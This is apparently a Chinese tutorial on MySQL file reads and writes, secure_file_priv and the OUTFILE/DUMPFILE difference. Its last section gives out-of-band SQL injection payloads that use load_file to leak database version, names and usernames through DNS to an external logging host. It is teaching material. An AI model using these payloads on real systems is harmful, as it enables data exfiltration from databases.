Mysql 中读写文件主要是load_file和into outfile 和 into dumpfile, mysql 的导入导出的功能从mysql5版本起都受 系统变量@@secure_file_prev 影响,我们来看一下官方的解释
This option sets the secure_file_priv system variable, which is used to limit the effect of data import and export operations, such as those performed by the LOAD DATA and SELECT ... INTO OUTFILE statements and the LOAD_FILE() function. For more information, see the description of secure_file_priv.
在<=5.7.5版本的mysql里面默认值为empty, 在大于5.7.6里面是platform sepcific(linux 默认是/var/lib/mysql-files),表示读写只能在这个目录下面。(有的文章说是5.5.53版本开始,这个未做考证,暂时以官方为主)
该变量有三种取值,empty,NULL, 某个具体路径:
如果变量设置为目录的名称,则服务器会将导入和导出操作限制在跟这个目录中一起使用。这个目录必须存在,服务器不会自己创建它。
如果变量为空,则不会产生影响,引起不安全的配置。
如果变量设置为NULL,那么服务器就会禁用导入和导出操作。这个值从(MySQL 5.5.53)版本开始允许。
Secure_file_priv是一个全局变量,它是一个只读变量,你不能在运行时改变它。也就是说如果此种注入比较依赖版本。修改这个值的方法只能在配置文件里面修改,在mysql里面是无法修改的。
windows下:修改my.ini
在[mysqld]内加入secure_file_priv =
linux下:修改my.cnf(可能是/etc/mysql/mysql.conf.d/mysqld.cnf)
在[mysqld]内加入 secure_file_priv =/tmp
然后重启mysql,再查询secure_file_priv
into outfile 和 into dumpfile的区别
outfile 写完文件后会在文件后加一个\n
换行符,而dumpfile不会
mysql> select 'aaaa' into outfile '/var/lib/mysql-files/1.php';
Query OK, 1 row affected (0.03 sec)
mysql> select load_file('/var/lib/mysql-files/1.php');
+-----------------------------------------+
| load_file('/var/lib/mysql-files/1.php') |
+-----------------------------------------+
| aaaa
|
+-----------------------------------------+
1 row in set (0.00 sec)
mysql> select 'xxxx' into dumpfile '/var/lib/mysql-files/2.php';
Query OK, 1 row affected (0.00 sec)
mysql> select load_file('/var/lib/mysql-files/2.php');
+-----------------------------------------+
| load_file('/var/lib/mysql-files/2.php') |
+-----------------------------------------+
| xxxx |
+-----------------------------------------+
这两个函数的原本作用是导出数据做备份。
mysql> select * into outfile '/tmp/x.sql' from user;
Query OK, 3 rows affected (0.00 sec)
cat /tmp/x.sql
1 admin admin
2 r00t r00t
3 61d 61d
注意outfile 和 dumpfile后面的路径都不能是十六进制。请注意,如果过滤引号,无法使用十六进制会话或者其他格式作为文件路径
mysql OOB带外注入
当涉及到MSSQL与Oracle时,Out-of-Band 注入是非常好的方式, 但在mysql中却并非如此,因为mysql的secure_file_priv 配置禁止了mysql的导入导出。
解决的办法:
在mysqld的配置中设置该属性为空
secure-file-priv=
下面的payload 也都只能在window下执行,在linux下运行不了,这个还不知道为什么。
OOB注入语句:
select load_file(concat('\\\\',version(),'.h7x7ty.ceye.io\\a.txt'));
select load_file(concat('\\\\',database(),'.h7x7ty.ceye.io\\a.txt'));
另外,查询的数据中不能有特殊字符,因为concat做的是连接操作,查询的数据会作为子域名的一部分,如果域名中存在特殊字符(比如都好,* {}等)就会解析失败,因此最好就一个hex函数加密传输一下)
select load_file(concat('\\\\',(select hex(group_concat(username)) from ctf.user limit 1),'1.h7x7ty.ceye.io\\a.txt'));
参考:
https://segmentfault.com/a/1190000009333563